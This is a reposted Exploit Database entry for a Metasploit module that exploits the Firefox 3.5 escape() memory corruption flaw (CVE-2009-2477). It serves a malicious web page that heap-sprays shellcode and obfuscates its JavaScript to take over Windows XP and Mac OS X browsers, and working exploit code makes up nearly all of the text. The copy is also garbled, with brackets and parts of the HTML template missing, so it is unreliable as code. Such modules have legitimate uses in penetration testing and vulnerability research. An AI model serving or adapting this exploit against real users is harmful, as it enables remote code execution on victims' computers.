Mozilla Firefox 3.5 – ‘escape()’ Return Value Memory Corruption (Metasploit)

Exploit Database
130 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/16299/

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# $Id: firefox_escape_retval.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

# This module acts as an HTTP server

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::FF,

:ua_minver => "3.5",

:ua_maxver => "3.5",

:os_name => OperatingSystems::WINDOWS,

:javascript => true,

:rank => NormalRanking, # reliable memory corruption

:vuln_test => nil,

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',

'Description'=> %q{

This module exploits a memory corruption vulnerability in the Mozilla

Firefox browser. This flaw occurs when a bug in the javascript interpreter

fails to preserve the return value of the escape() function and results in

uninitialized memory being used instead. This module has only been tested

on Windows, but should work on other platforms as well with the current

targets.

'License'=> MSF_LICENSE,

'Author' =>

[

'Simon Berry-Byrne <x00050876[at]itnet.ie>',# Author / Publisher / Original exploit

'hdm',# Metasploit conversion

'Version'=> '$Revision: 10394 $',

'References' =>

[

['CVE', '2009-2477'],

['OSVDB', '55846'],

['BID', '35660'],

['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']

'Payload'=>

{

'Space'=> 1000 + (rand(256).to_i * 4),

'BadChars' => "\x00",

'Targets'=>

[

[ 'Firefox 3.5.0 on Windows XP SP0-SP3',

{

'Platform' => 'win',

'Arch' => ARCH_X86,

'Ret'=> 0x0c0c0c0c,

'BlockLen' => 0x60000,

'Containers' => 800,

}

[ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',

{

'Platform' => 'osx',

'Arch' => ARCH_X86,

'Ret'=> 0x41414141,

'BlockLen' => 496,

'Containers' => 800000

}

]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jul 14 2006'

))

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })

handler(cli)

end

def generate_html(payload)

enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

enc_ret= Rex::Text.to_unescape(

Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')

)

var_data_str1 = Rex::Text.rand_text_alpha(3)

var_data_str2 = Rex::Text.rand_text_alpha(4)

js = <<-EOF

var xunescape = unescape;

var shellcode = xunescape("#{enc_code}");

oneblock = xunescape("#{enc_ret}");

var fullblock = oneblock;

while (fullblock.length < #{target['BlockLen']})

{

fullblock += fullblock;

}

var sprayContainer = new Array();

var sprayready = false;

var sprayContainerIndex = 0;

function fill_function()

{

if(! sprayready) {

for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)

{

sprayContainer[sprayContainerIndex] = fullblock + shellcode;

}

} else {

DataTranslator();

GenerateHTML();

}

if(sprayContainer.length >= #{target['Containers']}) {

sprayready = true;

}

var searchArray = new Array();

function escapeData(data)

{

var xi;

var xc;

var escData='';

for(xi=0; xi<data.length; xi++)

{

xc=data.charAt(xi);

if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);

escData+=xc;

}

return escData;

}

function DataTranslator()

{

searchArray = new Array();

searchArray[0] = new Array();

searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";

var newElement = document.getElementById("content");

if (document.getElementsByTagName) {

var xi=0;

pTags = newElement.getElementsByTagName("p");

if (pTags.length > 0)

while (xi < pTags.length)

{

oTags = pTags[xi].getElementsByTagName("font");

searchArray[xi+1] = new Array();

if (oTags[0]) {

searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;

}

xi++;

}

function GenerateHTML()

{

var xhtml = "";

for (xi=1;xi<searchArray.length;xi++)

{

xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);

}

setInterval("fill_function()", .5);

EOF

# Obfuscate it up a bit

js = obfuscate_js(js, 'Symbols' => {

'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function }

}).to_s

str1 = Rex::Text.rand_text_alpha(20)

str2 = Rex::Text.rand_text_alpha(24)

str3 = Rex::Text.rand_text_alpha(10) + ""

return %Q^

<html>

<head>

<p>

<FONT>

</FONT>

</p>

<p>

<p>

</p>

<p>

</p>

</div>

#{js}

</script>

</body>

</html>

end